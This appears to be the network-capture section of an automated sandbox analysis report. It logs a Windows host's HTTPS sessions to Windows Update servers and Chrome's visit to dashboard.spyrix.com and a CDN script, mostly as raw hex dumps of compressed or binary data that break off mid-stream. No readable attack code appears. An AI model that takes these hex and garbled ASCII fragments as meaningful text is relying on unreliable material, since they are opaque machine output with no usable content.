2024-10-02 04:10:08 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd cc ad ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ea de ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 Data Ascii: dddddddddddddddddddddddddddddddd
2024-10-02 04:10:08 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 Data Ascii: dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1lGEUmDv3FSb3cv&MD=WcOAG3Pa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-02 04:10:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 00146626-e44a-4b5e-bd6f-ad29e0acaf3f MS-RequestId: 1f985025-50d6-417e-be17-c69cfce9256f MS-CV: zGnJwzTAQkOBPLDP.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 02 Oct 2024 04:10:17 GMT Connection: close Content-Length: 24490
2024-10-02 04:10:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-02 04:10:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1lGEUmDv3FSb3cv&MD=WcOAG3Pa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-02 04:10:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 13b8f4e9-9ae4-44b0-98dd-751a2b41e5a1 MS-RequestId: 7a8a14d4-db47-45e1-aa88-21e5690d7175 MS-CV: ce85wi/toEy0CjvE.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 02 Oct 2024 04:10:55 GMT Connection: close Content-Length: 30005
2024-10-02 04:10:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-02 04:10:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	158.69.117.119	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	663	OUT	GET / HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	248	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0
2024-10-02 04:11:40 UTC	650	IN	Data Raw: 32 37 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 0a 20 20 20 20 72 65 6c 3d 22 69 63 6f 6e 22 0a 20 20 20 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 0a 20 20 2f 3e 0a 20 20 3c 6d 65 74 61 0a 20 20 20 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 0a 20 20 2f 3e 0a 20 20 3c 6d 65 74 61 0a 20 20 20 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 Data Ascii: 27e<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <link rel="icon" href="/favicon.ico" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="robots" content="noinde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49729	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	594	OUT	GET /dashboard30/assets/index-004f4025.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:41 UTC	402	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-135fd2" Content-Encoding: gzip Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:50:33+00:00 X-Node: m9-up-gc70
2024-10-02 04:11:41 UTC	3694	IN	Data Raw: 35 36 36 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 c4 bd 0d 73 db 46 96 f7 fb 55 24 96 56 4b 8e 61 c5 ca cc ce ce 80 86 59 8c 2c c7 9a d8 4e 1c db 8a 12 45 cb 50 24 24 d1 a6 08 86 20 25 33 92 9e cf 7e 7f ff d3 2f 00 29 79 36 cf ad ba 75 ab 6c 11 68 34 fa e5 f4 e9 f3 de 07 57 fd d9 c6 de 41 f6 fd e9 c7 7c 30 df 19 e6 67 a3 49 fe c3 ac 98 e6 b3 f9 b2 7d c5 c3 83 83 ac 99 27 dd 64 de ca 9e 75 37 46 93 8d bc b3 77 60 25 37 f9 64 71 99 cf fa a7 e3 3c dd 7c 92 0c 8a c9 d9 e8 7c 11 ef af 67 a3 79 78 76 d5 1f 2f f2 74 7e d7 4a f3 e3 ee 49 36 b7 96 7f 9c 54 2d 37 0f d4 e6 7c 39 cd 8b b3 8d ee 66 d6 28 97 97 a7 c5 b8 d1 e9 3e 6a 34 52 f5 ce bf 76 f3 6c 31 19 cc 47 c5 a4 d9 ba a1 bb 72 be d1 cd 86 c5 80 51 4c e6 3b 83 59 de 9f e7 fb e3 5c 77 cd c6 78 34 f9 d4 68 ed cc Data Ascii: 5662sFU$VKaY,NEP$$ %3~/)y6ulh4WA\|0gI}'du7Fw`%7dq<\|\|gyxv/t~JI6T-7\|9f(>j4Rvl1GrQL;Y\wx4h
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 19 97 b3 5c 57 c1 67 2a 95 2c 70 a6 ef a7 d2 7b cb f8 4c ba cd 66 50 6a fc bb 48 f1 e5 45 b1 18 0f 7f 64 59 f3 19 43 1a 8e 70 b4 4b bf 2a b1 46 dd e9 1d cf d9 77 2e 64 af 8d ae 99 66 63 58 5c a6 8e f0 b8 97 1b 70 96 04 cf 46 bd c1 e0 8c 74 23 c5 10 1e 1a f3 83 7c 4f 3f 92 6a c4 9a 86 d8 c7 6d 41 86 c9 68 98 e6 e3 6a 33 0f b5 42 ad 0e 8a ea b0 95 da 4d 52 ef c4 5c c2 ad b6 b6 e2 0c ec e9 31 30 9b eb 0c bd 27 bb c9 c7 af fb d3 f4 26 1a 0b 52 a2 0a bc 8b de fb e6 93 68 54 e0 99 ae ef 60 55 d1 d3 3e 94 17 cd a4 63 e8 d0 45 8e 3b fe 24 08 33 67 59 73 91 41 ae 4d a7 72 64 04 e1 7f 08 ff 5f 29 5a c0 59 f0 9a 23 aa d7 9a 9d 7a e7 dc d9 49 e0 d3 3d 64 c4 da a4 7b 0f a3 25 2e c6 d9 8e cd e9 78 ba 8a 62 4e 78 ba 40 35 85 9a 00 2b 07 6a 10 7e da 6a 9d 64 53 e4 9f 9d Data Ascii: \Wg,p{LfPjHEdYCpKFw.dfcX\pFt#\|O?jmAhj3BMR\10'&RhT`U>cE;$3gYsAMrd_)ZY#zI=d{%.xbNx@5+j~jdS
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 2a 4c d9 e9 91 a3 9b 2b 53 3a cd 17 96 c2 4f 1c 4e 22 1d aa cc 98 ff a4 d5 b9 e0 18 43 2b a5 45 fc 67 b4 58 d6 44 07 b3 7e 96 2d 97 d2 82 d3 3b 21 f2 bc 6b 6a 9f fa 37 10 7a 0b 33 e1 af 94 18 09 8a 25 c1 74 df 03 99 db cd ce e6 f1 ff 34 4f fe f2 6b 4b f8 7c 4e 51 da 3c fe 9f 93 47 ad af 92 a9 90 fd ab 5f ff c2 ed 5f 3a bf fe e5 d7 af be 3a af 66 cb 08 57 dd b5 9e ad 55 9b 69 ca 46 60 17 38 fe d8 5b 56 9e 0c 19 e2 18 54 ed b4 0f 71 fa 76 30 e1 7c 49 74 be b7 de 3f 83 c5 c8 5f 01 81 f2 f1 9e 27 d9 e4 78 37 dc 20 2d 22 93 56 ec fa 47 01 fd 46 40 ee 12 d0 af 49 3b 30 40 a5 5d 74 11 25 6e 61 fe cc 62 a8 35 d6 83 d1 68 10 8f b2 c9 23 9d 99 88 8a b5 83 a7 1a f2 d2 81 2c d2 b9 6d 2b 57 7f 6e f5 03 e2 62 bf b0 03 16 d5 68 2f 0d 7a 0c 69 33 0f cb 22 89 42 48 7d 63 Data Ascii: *L+S:ON"C+EgXD~-;!kj7z3%t4OkK\|NQ<G__::fWUiF`8[VTqv0\|It?_'x7 -"VGF@I;0@]t%nab5h#,m+Wnbh/zi3"BH}c
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 71 de de 5a 67 55 df c8 3b 34 e7 e0 83 f4 15 c6 29 85 c8 63 60 b7 43 1d e4 ce 9a 6d e9 97 fa 94 af 19 10 1f 46 41 4c 11 ee 35 44 64 b0 43 b9 16 f7 2c 56 d5 96 b3 63 68 c6 09 8b 2d 53 db 5c 99 a1 48 5a 4b c7 98 f7 34 1c e7 d3 40 75 8f 32 34 13 91 e3 40 f2 a9 7e 9d ab a2 8e c4 5d 5e 14 a5 5a 55 0f 24 42 52 5d d1 42 58 90 c9 33 12 b7 0e 16 89 2f 80 11 1a c4 ca 8b 54 c6 ca 7f 54 75 37 ce 18 8a 31 a1 f8 74 50 c7 73 f7 b8 fe b2 95 54 82 88 75 0c e9 13 aa fd 22 3c 93 a1 d7 a2 2e 7e 59 ba 75 08 51 17 12 10 25 5a f8 a8 12 bf bc c1 d1 26 28 38 1b 82 f3 79 05 a2 7b 16 fd 93 52 fc 0e c5 60 10 f2 ba a9 2d a2 af 6a 6c c7 4a f7 14 a6 64 c1 14 56 56 89 35 2c 84 89 35 f5 37 ee 40 ff 0d 57 af c6 13 ee 0f f1 f6 16 24 ed a2 76 81 6b e8 50 dd 5a ff a6 d5 b8 37 c2 e8 64 a2 59 Data Ascii: qZgU;4)c`CmFAL5DdC,Vch-S\HZK4@u24@~]^ZU$BR]BX3/TTu71tPsTu"<.~YuQ%Z&(8y{R`-jlJdVV5,57@W$vkPZ7dY
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 67 6f 44 81 74 f8 4b 9c 69 8c 17 e3 1f f8 37 90 9d 80 15 e8 09 2d d4 51 af ba c1 6f 4f 26 72 37 44 f2 b2 8e 4a 9f 5f 4d b9 4d 47 e5 ab bc 7f c5 d7 f7 dc 8d e7 81 fe 9e 20 4b 3d 3a 7c 83 6d ae 34 bf 29 a1 69 51 e5 be 9e 5b e0 00 79 d8 63 8b 90 47 c0 7f 3a ab 1e 54 0d ba 67 21 dc e2 05 4e 93 17 3e 01 96 fb 78 f6 49 72 c0 d9 11 59 fe 7c e6 94 44 1f cf 22 ca d3 a7 03 e6 18 ca ac 54 c6 fa 61 2c 29 26 2e 35 dc 3e 38 30 4b 5f 28 7f 5c ed b2 7b 46 69 ed de 2e f7 b4 f6 9c 5b 1c ba ea ee 7d 81 20 77 05 b5 4b 7b bf 76 6f 97 0f be df 75 03 b5 01 ac 5c 6b 04 2b 05 56 b1 de c6 5d f2 cd 69 76 83 36 c2 67 a0 be 21 f8 0f 51 ce 6b 3f 9c bb 91 7a 92 1e ec 3b e3 01 a4 e7 c6 e9 e6 dd 98 ce 97 6c 46 d8 f7 91 b5 b4 c2 46 78 cb 3a c9 73 4b 2e f2 eb e3 0a a0 72 38 6f c3 1d 6f ca Data Ascii: goDtKi7-QoO&r7DJ_MMG K=:\|m4)iQ[ycG:Tg!N>xIrY\|D"Ta,)&.5>80K_(\{Fi.[} wK{vou\k+V]iv6g!Qk?z;lFFx:sK.r8oo
2024-10-02 04:11:41 UTC	2044	IN	Data Raw: 8a 13 2d 32 32 c6 7c 72 f5 0d 79 b0 a1 ad 75 1a d3 c4 d3 e9 8c 6e 92 eb 5c e7 c5 e9 b7 13 3b 04 29 53 2b d3 be b4 72 7e 1d ff e6 d4 3f e9 14 e7 c9 21 c1 7f 61 b8 ae 2a 9b c0 aa f2 eb ab 5a c5 49 37 fb a1 69 29 36 ae 8d 78 a5 87 b2 9b 7b f9 69 6d 97 4e 92 4f 98 32 51 a2 48 71 29 43 38 5a 2e 00 82 9a 2f e2 3d 03 71 71 76 18 b8 2c e2 96 ee d2 23 04 8c 89 2f c8 8e 68 df f2 ab af cf bc df 7a be 4f 7e 75 a6 4c 80 44 f2 c9 f8 4f fc 2c f1 27 01 61 dc e2 23 f0 2e c5 a4 3e 46 1c 68 49 48 eb fa a9 fa f6 1a c0 7b 46 fc 09 60 4b 3e 1d 97 24 f9 a6 4f 4e 7d b1 cb 16 da 58 2b 46 80 fd bc f9 09 04 6b dd b0 f9 3d 98 59 13 a5 b3 6b 02 fb 67 9f f8 1b 00 86 7c 5a b2 59 3f 51 2f 16 69 2e 34 f1 fd 7e 42 74 25 17 d7 73 82 0d 74 71 70 8a 51 58 17 a5 0c df ba 38 dd 57 d8 04 17 ef Data Ascii: -22\|ryun\;)S+r~?!a*ZI7i)6x{imNO2QHq)C8Z./=qqv,#/hzO~uLDO,'a#.>FhIH{F`K>$ON}X+Fk=Ykg\|ZY?Q/i.4~Bt%stqpQX8W
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 35 38 30 30 0d 0a 42 2b 3e 7f c1 4d 6d b1 21 39 ae 03 cd 60 51 5b fa a1 d0 b6 df 6a 6e b2 8b 36 19 5d 17 a2 47 65 3e 83 48 0e 1b be 33 c8 56 c5 68 e2 9e 90 0f 48 cf c6 3a dd 8c 27 7c 28 af 93 c3 0a ce 07 92 c4 29 de aa 56 c9 f3 30 ec 61 70 eb 2b 0e 05 89 cc 87 7a a9 8a 19 b3 88 d6 cb fa 35 ab 97 0d 6a b6 3a 28 b5 e9 df 9b f1 9e 83 d7 1d 2c cf 7d 23 04 73 0c 99 f5 b7 0c cb 1a 35 59 d9 c3 c0 12 41 b2 34 25 e6 9a 84 ac f9 0f e0 8d 9d f4 b0 f3 4c 5d 1b 8a 20 35 16 74 a0 74 ac dc 1c 9d f1 de ea 0e 58 dd b1 33 97 2c da 10 01 00 58 12 e6 ca c2 51 b7 e3 8f 63 45 7e b9 68 75 04 a6 6c c0 87 1e d9 55 ca 22 40 46 10 2b b8 8f 4a 63 71 74 0e b5 6b 04 92 69 06 c0 68 42 67 82 83 7e e1 43 0a b7 35 8b 61 34 8d 8e ed 23 30 0a 29 a5 03 72 7c 49 4e b5 15 47 8c 5a 3c 0d 67 bf Data Ascii: 5800B+>Mm!9`Q[jn6]Ge>H3VhH:'\|()V0ap+z5j:(,}#s5YA4%L] 5ttX3,XQcE~hulU"@F+JcqtkihBg~C5a4#0)r\|INGZ<g
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 91 a7 a6 4b 6a 45 ac 48 ba 36 fd d3 5d b1 27 97 2a 12 45 de 77 d2 65 0d d2 77 47 cf 5e 90 4b 9f 71 ab 10 ac c7 a8 7a 48 8a cb 15 89 40 d2 1c a5 77 3a 5d f6 85 19 8a 42 1e 31 3a 37 33 09 77 6e 3a a6 5b 4a f9 74 b7 18 d7 99 c4 0b be 6b 27 61 16 65 5a c6 07 fe 32 c1 b0 d9 99 8e 14 67 78 07 d3 42 a7 0e b3 f2 4a b5 ca 8c a2 22 c0 33 23 38 4c eb d2 5d 3c 30 3b c7 64 9d b9 15 6d dd 3e 01 f8 e5 4e 0f 7d a7 ff 06 96 e0 e2 ff 6d bf 87 7c de f0 2c 7f fc 58 b4 ef e8 19 56 28 fd 6a c6 b5 09 b3 9c bb 9a f0 79 fe f4 45 e7 ea f8 3c 3f 81 8f a5 78 1b 3c 90 04 1e 6f 47 f8 22 4c 98 be 68 6a b4 5d 40 8b 98 b1 f3 d2 59 d7 f4 18 da 3b 6c b7 64 67 17 98 dd b2 5b e5 ba 5f 88 55 38 d2 88 d0 0f ba 46 f0 c8 a9 6d c3 39 42 2c 10 08 19 52 cd fe b1 37 ff 37 8b b5 67 49 2b 82 05 1a 6a Data Ascii: KjEH6]'*EwewG^KqzH@w:]B1:73wn:[Jtk'aeZ2gxBJ"3#8L]<0;dm>N}m\|,XV(jyE<?x<oG"Lhj]@Y;ldg[_U8Fm9B,R77gI+j
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 1a 61 32 26 06 dd fb fb df e2 5e 49 7d 1a d3 65 90 81 84 dc ac 56 34 83 3f 5e 34 c3 c6 34 47 f7 4e 6a cc ec 09 bc 61 40 43 ae 30 59 40 d7 82 ae 44 3d 76 b6 54 07 e3 4e d3 f1 a2 45 de 2b 44 9d 6a 3d 14 00 84 06 42 6f 38 a8 2a ff 21 6c 41 cf dc 7c 44 8e c3 4e 49 c4 b4 fe 7c 43 00 69 5a b6 cf e5 a3 87 df fc 95 d5 b6 69 81 af e9 90 2a 18 29 18 ba 4d ee 34 a7 ea 88 0e e8 5e e9 22 d6 25 85 f5 19 cb c0 46 b8 ff a3 bf 03 5f 87 80 35 d8 8c 6d 2e ff 81 1a 24 c9 31 c0 63 86 4f 3e e7 0a 68 70 2f d1 f9 99 54 f4 e5 3c 89 41 2c 45 47 ad 4c 26 12 8c 9c 16 59 4c fe 58 cb af 15 08 b1 0f 48 a1 46 e9 00 0c 22 a0 15 0e 51 a7 7e 87 e1 79 11 9e e2 cb 90 f6 d6 ba f1 f8 08 ba 49 d4 8f 57 ec 37 af d8 df 10 8e bc a6 0f f7 a4 13 0f 03 54 46 d9 39 e5 7d ac 3c cc 16 0c 8c 82 1d f8 73 Data Ascii: a2&^I}eV4?^44GNja@C0Y@D=vTNE+Dj=Bo8!lA\|DNI\|CiZi)M4^"%F_5m.$1cO>hp/T<A,EGL&YLXHF"Q~yIW7TF9}<s
2024-10-02 04:11:41 UTC	4096	IN	Data Raw: 7f de 83 57 b1 0b 16 31 2e 40 be e8 e2 4f b5 5f b4 b5 66 5a f3 69 73 c7 97 e1 82 65 38 d7 4a b2 0e a0 9d e6 0e 63 e7 12 06 29 0e 37 41 82 66 f7 9e 7e 34 78 5a 1e d8 2c d5 6c 09 62 52 3b 66 45 bb dd d4 ce c0 b2 d6 1d 53 b1 36 2f bc 0d 5b 91 14 38 9c 06 58 61 18 ae e0 c3 15 b1 8b 74 e6 e2 cf 51 b4 33 68 47 39 87 97 56 3a 46 87 83 fc 50 fa 6d e7 6d fd c3 56 42 69 ba 1b 45 2a b4 51 f0 b1 d5 a7 ec 59 64 02 8e 2e 69 58 3d 63 c5 8c f3 83 ad 99 8e 86 8b 26 8a 96 fb 0f aa 22 e8 42 c5 22 d4 c6 46 49 bc b1 32 89 30 02 05 83 90 0e 2c 88 21 8b 9e 19 58 de 51 20 7e dd 9a e4 f6 44 76 e7 4b df 50 9d e9 fa 37 5c 40 42 44 89 e1 3f fa 12 ca 69 02 9b a4 5b 5a e0 c6 85 a4 20 0b 04 4c ed 1c ef e5 6a 14 a1 42 52 36 43 40 c6 8c 62 a8 68 e7 8b 76 e4 01 9e ce a0 dd 7e 98 66 83 55 Data Ascii: W1.@O_fZise8Jc)7Af~4xZ,lbR;fES6/[8XatQ3hG9V:FPmmVBiE*QYd.iX=c&"B"FI20,!XQ ~DvKP7\@BD?i[Z 